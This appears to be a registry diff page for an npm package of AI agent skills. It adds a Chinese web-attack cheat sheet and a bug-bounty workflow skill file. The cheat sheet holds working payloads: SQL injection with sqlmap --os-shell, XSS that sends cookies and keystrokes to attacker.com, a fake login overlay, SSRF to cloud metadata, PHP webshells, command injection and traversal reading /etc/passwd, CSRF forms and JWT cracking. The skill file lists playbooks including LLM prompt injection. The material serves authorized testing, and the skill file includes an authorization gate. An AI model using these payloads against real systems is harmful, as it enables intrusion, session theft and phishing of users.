npm - opencode-skills-collection - Versions diffs - 4.0.43 → 4.0.45 - Mend

opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (270) hide show

package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md ADDED Viewed

@@ -0,0 +1,387 @@
+# Web 漏洞利用速查
+> 覆盖 OWASP Top 10 + 实战高频漏洞。每个漏洞类型包含：原理、检测方法、利用 payload、防御建议。
+> 配合 pentest-tools 的 MCP 工具链使用。
+---
+## SQL 注入
+### 检测
+```bash
+# 基础检测
+' OR 1=1--
+" OR 1=1--
+1' AND '1'='1
+1' AND '1'='2    # 对比响应差异
+# 时间盲注检测
+1' AND SLEEP(5)--
+1' AND IF(1=1,SLEEP(5),0)--
+# 报错注入检测
+1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--
+```
+### SQLMap 自动化
+```bash
+# 基础扫描
+sqlmap -u "http://target/page?id=1" --batch --dbs
+# POST 请求
+sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch
+# Cookie 注入
+sqlmap -u "http://target/page" --cookie="id=1*" --batch
+# 指定注入点
+sqlmap -u "http://target/page" --data="a=1&b=2*&c=3" --batch
+# 绕过 WAF
+sqlmap -u "http://target/page?id=1" --tamper=space2comment,between --random-agent
+# 获取 shell
+sqlmap -u "http://target/page?id=1" --os-shell
+```
+### 常用 Tamper 脚本
+| Tamper | 作用 |
+|--------|------|
+| `space2comment` | 空格替换为 `/**/` |
+| `between` | `>` 替换为 `BETWEEN` |
+| `randomcase` | 关键字随机大小写 |
+| `charencode` | URL 编码 |
+| `equaltolike` | `=` 替换为 `LIKE` |
+| `base64encode` | Base64 编码 payload |
+---
+## XSS（跨站脚本）
+### 检测 Payload
+```html
+<!-- 反射型 -->
+<script>alert(1)</script>
+<img src=x onerror=alert(1)>
+<svg onload=alert(1)>
+"><script>alert(1)</script>
+'><img src=x onerror=alert(1)>
+<!-- DOM 型 -->
+javascript:alert(1)
+#<img src=x onerror=alert(1)>
+<!-- 存储型 -->
+<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
+<!-- 绕过过滤 -->
+<ScRiPt>alert(1)</ScRiPt>
+<img src=x onerror="alert(1)">
+<img src=x onerror=alert`1`>
+<svg/onload=alert(1)>
+<body onload=alert(1)>
+```
+### XSS 利用
+```javascript
+// Cookie 窃取
+new Image().src="https://attacker.com/steal?c="+document.cookie;
+// Keylogger
+document.onkeypress=function(e){
+    new Image().src="https://attacker.com/log?k="+e.key;
+}
+// 页面劫持
+document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="user"><input name="pass" type="password"><button>Login</button></form>';
+```
+---
+## SSRF（服务端请求伪造）
+### 检测
+```text
+# 内网探测
+http://127.0.0.1:80
+http://localhost:22
+http://[::1]:80
+http://0x7f000001:80
+# 云元数据
+http://169.254.169.254/latest/meta-data/    (AWS)
+http://metadata.google.internal/             (GCP)
+http://169.254.169.254/metadata/instance     (Azure)
+# 协议利用
+file:///etc/passwd
+dict://127.0.0.1:6379/INFO
+gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
+```
+### 绕过技巧
+```text
+# IP 绕过
+http://0177.0.0.1        (八进制)
+http://2130706433        (十进制)
+http://0x7f.0x0.0x0.0x1  (十六进制)
+http://127.1             (短格式)
+http://127.0.0.1.nip.io  (DNS 重绑定)
+# URL 绕过
+http://attacker.com@127.0.0.1
+http://127.0.0.1#@allowed.com
+http://127.0.0.1%2523@allowed.com
+# 重定向绕过
+http://allowed.com/redirect?url=http://127.0.0.1
+```
+---
+## 文件上传漏洞
+### 绕过方法
+| 检测方式 | 绕过方法 |
+|---------|---------|
+| 后缀名黑名单 | `.php5`、`.phtml`、`.pHp`、`.php.jpg` |
+| Content-Type 检查 | 修改为 `image/jpeg` |
+| 文件头检查 | 在 webshell 前加 `GIF89a` |
+| 文件大小限制 | 压缩 payload |
+| 图片二次渲染 | 在不被修改的区域插入代码 |
+| .htaccess 限制 | 上传 `.htaccess` 修改解析规则 |
+### Webshell Payload
+```php
+<?php system($_GET['cmd']); ?>
+<?php eval($_POST['x']); ?>
+<?=`$_GET[0]`?>
+<!-- 图片马 -->
+GIF89a<?php system($_GET['cmd']); ?>
+```
+---
+## IDOR（不安全的直接对象引用）
+### 测试方法
+```bash
+# 水平越权
+GET /api/users/1001/profile    # 自己的
+GET /api/users/1002/profile    # 别人的 → 应该 403
+# 垂直越权
+GET /api/admin/users           # 普通用户访问管理接口
+# 参数篡改
+POST /api/orders/cancel {"order_id": "OTHER_USER_ORDER"}
+# ID 遍历
+for id in $(seq 1 1000); do
+    curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403"
+done
+```
+### 常见 IDOR 位置
+```text
+- /api/users/{id}
+- /api/orders/{id}
+- /api/files/{id}/download
+- /api/messages/{id}
+- /api/invoices/{id}.pdf
+- /profile?user_id=xxx
+- /download?file_id=xxx
+```
+---
+## 认证绕过
+### JWT 攻击
+```bash
+# 算法混淆（none）
+# Header: {"alg":"none","typ":"JWT"}
+# 去掉签名部分
+# 密钥爆破
+hashcat -m 16500 jwt.txt wordlist.txt
+john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
+# RS256 → HS256 降级
+# 用公钥作为 HMAC 密钥签名
+```
+### 密码重置漏洞
+```text
+□ 重置 token 可预测（时间戳/递增）
+□ 重置链接不过期
+□ Host 头注入（修改 Host → 重置链接指向攻击者）
+□ 验证码可爆破（4-6 位无频率限制）
+□ 邮箱/手机号参数可篡改
+```
+---
+## 命令注入
+### 检测
+```bash
+# Linux
+; id
+| id
+`id`
+$(id)
+; sleep 5
+| sleep 5
+# Windows
+& whoami
+| whoami
+; dir
+`dir`
+```
+### 绕过
+```bash
+# 空格绕过
+cat${IFS}/etc/passwd
+{cat,/etc/passwd}
+cat</etc/passwd
+# 关键字绕过
+c'a't /etc/passwd
+c""at /etc/passwd
+/bin/c?t /etc/passwd
+```
+---
+## 目录遍历
+### Payload
+```text
+../../../etc/passwd
+..%2f..%2f..%2fetc/passwd
+....//....//....//etc/passwd
+..%252f..%252f..%252fetc/passwd
+/..%c0%af../..%c0%af../etc/passwd
+```
+### Windows
+```text
+..\..\..\windows\win.ini
+..%5c..%5c..%5cwindows%5cwin.ini
+```
+---
+## CSRF（跨站请求伪造）
+### 检测
+```text
+□ 关键操作无 CSRF Token
+□ Token 不验证（删除 token 参数仍可请求）
+□ Token 不绑定会话（A 的 token 可用于 B）
+□ Referer 检查可绕过（空 Referer）
+□ JSON 请求无 Content-Type 校验
+```
+### 利用
+```html
+<!-- 自动提交表单 -->
+<form action="https://target.com/transfer" method="POST">
+    <input name="to" value="attacker">
+    <input name="amount" value="10000">
+</form>
+<script>document.forms[0].submit();</script>
+<!-- JSON CSRF -->
+<script>
+fetch('https://target.com/api/change-email', {
+    method: 'POST',
+    credentials: 'include',
+    headers: {'Content-Type': 'text/plain'},
+    body: '{"email":"attacker@evil.com"}'
+});
+</script>
+```
+---
+## 信息泄露
+### 常见泄露点
+```bash
+# 配置文件
+/.env
+/config.php.bak
+/web.config
+/.git/config
+/.svn/entries
+# 调试信息
+/debug
+/trace
+/actuator/env        (Spring Boot)
+/swagger-ui.html     (API 文档)
+/__debug__           (Django)
+# 备份文件
+/backup.sql
+/db.sql.gz
+/site.tar.gz
+/*.bak
+```
+### FFUF 发现
+```bash
+# 目录爆破
+ffuf -u https://target.com/FUZZ -w /path/to/SecLists/Discovery/Web-Content/common.txt
+# 参数发现
+ffuf -u "https://target.com/api?FUZZ=test" -w /path/to/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
+# 子域名爆破
+ffuf -u https://FUZZ.target.com -w /path/to/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
+# 虚拟主机发现
+ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0
+```
+---
+## 防御建议速查
+| 漏洞 | 核心防御 |
+|------|---------|
+| SQL 注入 | 参数化查询（PreparedStatement） |
+| XSS | 输出编码 + CSP + HttpOnly Cookie |
+| SSRF | 白名单 URL + 禁止内网 IP + 禁止非 HTTP 协议 |
+| 文件上传 | 白名单后缀 + 重命名 + 独立存储域 + 文件头校验 |
+| IDOR | 服务端鉴权（不信任客户端传的 ID） |
+| CSRF | SameSite Cookie + CSRF Token + Referer 校验 |
+| 命令注入 | 避免拼接命令 + 白名单参数 + 沙箱执行 |
+| 目录遍历 | 规范化路径 + chroot + 白名单文件 |
+| JWT | 强密钥 + RS256 + 短过期 + 黑名单 |

package/bundled-skills/pentest-tools/src-hunter/SKILL.md ADDED Viewed

@@ -0,0 +1,243 @@
+---
+name: src-hunter
+description: "Bug-bounty/SRC vulnerability-hunting workflow: five-phase methodology (intake, recon, enumeration, hunt, report) with attack playbooks for SQLi, XSS, RCE, SSRF, IDOR, CSRF, path traversal, and file upload."
+risk: offensive
+source: "https://github.com/zhaoxuya520/reverse-skill"
+source_repo: "zhaoxuya520/reverse-skill"
+source_type: community
+date_added: "2026-08-25"
+license: "MIT"
+license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+## When to Use
+- Hunting vulnerabilities in bug-bounty programs within program policy.
+- Following a disciplined methodology instead of ad-hoc testing.
+## 何时使用本 skill
+**关键词命中**：
+- "src 挖洞" / "src 漏洞" / "src 测试" / "Security Response Center"
+- "bug bounty" / "漏洞赏金" / "众测"
+- "hackerone" / "h1" / "bugcrowd" / "intigriti" / "yeswehack"
+- "如何挖 / 怎么测 / 怎么打 + 某目标 / 某接口 / 某参数"
+- "WAF 绕过" / "绕过 WAF" / "WAF bypass"
+- "任意账号 / 任意修改 / 任意删除 / 任意操作" 类越权
+- "密码重置" / "找回密码" 类逻辑
+- "未授权访问" / "默认凭据" / "Actuator" / "Spring 暴露" / "Redis 未授权"
+- 用户给一个 URL 或 API endpoint 让你测
+**不应使用本 skill**：
+- 纯白盒源码审计（用 `code-audit` skill）
+- 已知漏洞的修复 / 防御问答（用通用对话）
+- 单独的 CTF 题目（这是真实环境工作流）
+---
+## 工作流 — 5 阶段
+### Phase 1 · Intake（接单）
+输入：程序名 / SRC 入口 URL / 子域。
+要做的事：
+- 抓 Scope（in-scope domains / IPs / mobile apps / API endpoints）
+- 抓 Out-of-scope（禁测内容、第三方服务、cloud assets exclusions）
+- 抓规则（payout tiers、disclosure window、retest policy、safe-harbor）
+- 抓测试账号 / 测试 header（如 `X-Bug-Bounty: <handle>`）
+**优先级判断**（基于命中类型预估命中率，参考 `references/methodology/05-srctimebox-priority.md`）：
+- 6 小时窗口 → 跑高命中率类型（密码重置 88% / 任意账号 86.4% / 提现 83.1%）
+- 单日窗口 → 加上信息泄露 + 资产暴露 + Actuator
+- HVV / 重点期 → 全谱
+→ 详见 [`references/methodology/00-index.md`](references/methodology/00-index.md)
+### Phase 2 · Recon（被动侦察）
+不发包给目标的情报收集：
+- **CT 日志**：crt.sh / Censys（找子域）
+- **历史快照**：Wayback / CommonCrawl
+- **GitHub 搜索**：`org:target` + 关键词（password / api_key / SECRET）
+- **搜索引擎 dorks**：`site:target.com inurl:/admin`、`filetype:env`、`intitle:Index of`
+- **ASN / IP 段**：bgp.he.net 找 IP 块
+- **Favicon hash**：FOFA / Shodan 找同 favicon 资产
+- **DNS 历史**：SecurityTrails / Whoisxmlapi
+### Phase 3 · Enum（主动探测）
+**资产枚举**：
+- 子域：amass / subfinder / puredns / dnsx
+- 存活：httpx / naabu
+- 截图：gowitness / aquatone
+- 内容发现：ffuf / feroxbuster / dirsearch
+- 技术指纹：wappalyzer / webanalyze（同时查 `references/dictionaries/chinese-srcfingerprints.md` 命中国产组件）
+- JS 提取：linkfinder / subjs / gau / katana
+- 子域接管指纹：subjack / subzy
+### Phase 4 · Hunt（漏洞探测）
+按攻击类型走对应 playbook，**每个 playbook 都包含**：方法论 + 参数频率表 + 真实 H1 案例 + 结构化 payload + WAF 绕过变体。
+**优先级路径**（按命中率 + 价值排序）：
+| Playbook | 入口提示 | 文件 |
+|---|---|---|
+| **未授权访问** | Actuator/Swagger/默认端口/弱密码 | `references/playbooks/unauth-access.md` |
+| **信息泄露** | .git/.svn/.env/heapdump/路径列举 | `references/playbooks/info-disclosure.md` |
+| **任意 X 越权** | 用户态 ID 可遍历/可修改 | `references/playbooks/arbitrary-x-authz.md` |
+| **业务逻辑** | 密码重置/支付/订单/验证码 | `references/playbooks/logic-flaws.md` |
+| **OAuth/SAML/JWT** | 认证流/redirect_uri/token | `references/playbooks/oauth-saml-jwt.md` |
+| **API REST** | BOLA/Mass Assignment/速率 | `references/playbooks/api-rest.md` |
+| **SQLi** | 任何用户输入进 DB | `references/playbooks/sqli.md` |
+| **RCE** | 反序列化/SSTI/XXE/原型链/框架 | `references/playbooks/rce.md` |
+| **SSRF** | URL 入参/缓存/Host 注入 | `references/playbooks/ssrf-cache-host.md` |
+| **路径遍历** | 文件路径入参/LFI/RFI | `references/playbooks/path-traversal.md` |
+| **文件上传** | 上传点 + 解析漏洞 | `references/playbooks/file-upload.md` |
+| **XSS** | 任何用户输入进 HTML/JS | `references/playbooks/xss.md` |
+| **HTTP 走私** | 反代 + Content-Length | `references/playbooks/http-smuggling.md` |
+| **GraphQL** | introspection/嵌套 | `references/playbooks/graphql.md` |
+| **竞态** | 并发请求 / TOCTOU | `references/playbooks/race-conditions.md` |
+| **DoS** | ReDoS / 资源不限速 / 算法爆炸 | `references/playbooks/dos.md` |
+| **移动端** | Android / iOS APK | `references/playbooks/mobile.md` |
+| **LLM Agent** | Prompt 注入 / 工具调用 | `references/playbooks/llm-prompt-injection.md` |
+| **内网后渗透** | 凭据 / 横向 / 域 | `references/playbooks/intranet-postexp.md` |
+**通用方法论**（不分攻击类型）：
+| 文档 | 关键内容 |
+|---|---|
+| [`methodology/01-attack-priority.md`](references/methodology/01-attack-priority.md) | RCE>文件写>认证绕过>注入>信息泄露 价值排序 |
+| [`methodology/02-bypass-toolkit.md`](references/methodology/02-bypass-toolkit.md) | 通用绕过决策树 + 编码 / 混淆 / WAF |
+| [`methodology/03-evidence-discipline.md`](references/methodology/03-evidence-discipline.md) | 黑盒证据规则 + 反幻觉 + 合规 |
+| [`methodology/04-control-gap-hunting.md`](references/methodology/04-control-gap-hunting.md) | 9 类敏感操作 → 应有控制 → 探测缺失 |
+| [`methodology/05-srctimebox-priority.md`](references/methodology/05-srctimebox-priority.md) | 6h / 单日 / HVV / 月度 时间盒模板 |
+**行业垂直 playbook**（资产相关时优先看）：
+| 行业 | 文档 | 何时用 |
+|---|---|---|
+| 银行 / 支付 / 金融 | [`industry/banking-finance.md`](references/industry/banking-finance.md) | 目标含支付 / 网银 / 第三方支付聚合 |
+| 电信 / ISP | [`industry/telecom-isp.md`](references/industry/telecom-isp.md) | 目标是运营商 / BOSS / 网管 / 物联网卡 |
+**字典 / 凭据**：
+| 文档 | 用途 |
+|---|---|
+| [`dictionaries/default-credentials-cn.md`](references/dictionaries/default-credentials-cn.md) | 致远 / 通达 / 万户 / 泛微 / 用友 / 金蝶 / 华为 / 中兴 / 海康等国产凭据 |
+| [`dictionaries/chinese-srcfingerprints.md`](references/dictionaries/chinese-srcfingerprints.md) | 国产 OA / 中间件指纹 + 高频参数 + 一键检测命令 |
+### Phase 5 · Report（提交）
+→ 用模板 [`templates/report-submission.md`](references/templates/report-submission.md)
+**三段式骨架**：
+1. **标题**：精确到 endpoint + 漏洞类型，不超过 80 字
+2. **重现步骤**：每步可执行 / 截图 / HAR
+3. **影响 + 修复建议**：CVSS 4.0 vector + 业务影响段
+---
+## MCP 工具集成
+本 skill 支持调用本地 MCP 服务器作为工具层。**主选 jshookmcp**(134 工具精选 / 386 全集 / 36 域,内置 Burp Suite bridge / Frida / WASM / 反调试 / Android adb / sourcemap 重构)。完整索引与场景映射:
+→ [`references/tools/mcp-jshook.md`](references/tools/mcp-jshook.md)
+默认推荐 `search` profile(上下文成本 ~3K token),通过 `mcp__jshook__search_tools` + `mcp__jshook__activate_tools` 按需激活,避免 `full` profile 一次性加载 40K+ token。
+---
+## 数据资产规模
+| 类别 | 量级 |
+|---|---|
+| 攻击类 playbook | 19 个 |
+| 通用方法论文档 | 6 个 |
+| 行业垂直 playbook | 2 个（银行 / 电信） |
+| 字典 / 凭据 | 3 个 |
+| 报告模板 | 1 个 |
+| 结构化 payload | **305 条**（177 web + 128 内网） |
+| WAF / EDR 绕过变体 | **263 个步骤**，覆盖 23 类 Web 攻击 |
+| 工具命令速查 | 114 条（Nmap/SQLMap/Burp/MSF/...） |
+| HackerOne 真实案例（已披露 High/Critical） | **2887 份**，按 weakness 分到 141 个分类 MD |
+| WooYun 历史案例统计（不可再生） | 88,636 条 |
+H1 真实案例已**直接嵌入对应 playbook 末尾**（每个 playbook 末尾有"H1 真实案例" Top 12 表 + 摘要）。
+---
+## 合规与合法红线
+每个 playbook 末段都有"不要做的事"。通用红线（任何 SRC 都遵守）：
+- ❌ 出 scope 的资产 / 域名 → 立即停手并报备
+- ❌ 实际取走他人 PII → 仅证明可访问，立即销毁
+- ❌ 持续负载 / DoS / 大流量 → 仅 1–3 个 PoC 包，立即停止
+- ❌ 修改他人数据（即使有写权限）→ 仅在自己控制的对象上验证
+- ❌ 在生产做钓鱼或社工 → 不做
+- ❌ 提交未复现的猜测 → 必须有 HTTP 包 / 截图 / 视频证据
+- ✅ 测试 header 标记自己（如 `X-Bug-Bounty: <handle>`）
+- ✅ 用自己的两个账号自演越权场景
+- ✅ 用 OOB 域名做 SSRF 探测，不要用别人的 DNSLog
+- ✅ 提交前用 `references/templates/report-submission.md` 自查
+---
+## CLI 助记前缀
+`srchunter`（如：`srchunter scope set <program>`、`srchunter recon run`、`srchunter findings new <type>`）。当前未实现 CLI，仅作命名约定。
+---
+## 引用 / 跨链结构
+```
+src-hunter/
+├── SKILL.md                    # 本文件 — skill 入口
+├── README.md                   # 项目说明
+└── references/
+    ├── methodology/   6 docs   # 通用打法
+    ├── playbooks/    19 docs   # 攻击类 playbook（每个含 H1 案例 + Payload 库）
+    ├── industry/      3 docs   # 行业垂直
+    ├── dictionaries/  3 docs   # 字典 / 凭据
+    ├── templates/     1 doc    # 报告模板
+    ├── h1-reports/             # 2887 份 H1 报告原始数据 + 141 类 MD
+    │   ├── raw/                # 原始 JSON（resume / 二次分析用）
+    │   └── by-weakness/        # 按 CWE 分类的 Markdown
+    └── payloader/              # 305 条结构化 payload 数据
+        ├── raw/                # JSON（机读）
+        ├── by-category/        # 按分类的 MD
+        ├── tools/              # 工具命令
+        └── waf-bypass.md       # 263 步骤 WAF 绕过集
+```
+## 任务完成自检（声称完成前 MUST 通过）
+- [ ] 我是否执行了工作流中的每一步（而不是只阅读）？
+- [ ] 我是否基于 `tool-index` 使用了真实工具路径？
+- [ ] 我是否产出了可复现证据（命令/脚本/截图/报告）？
+- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项？
+## Limitations
+- Strictly respect each program's policy, scope, and rate limits.
+- Playbook depth varies; novel logic flaws still require creativity.
+> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).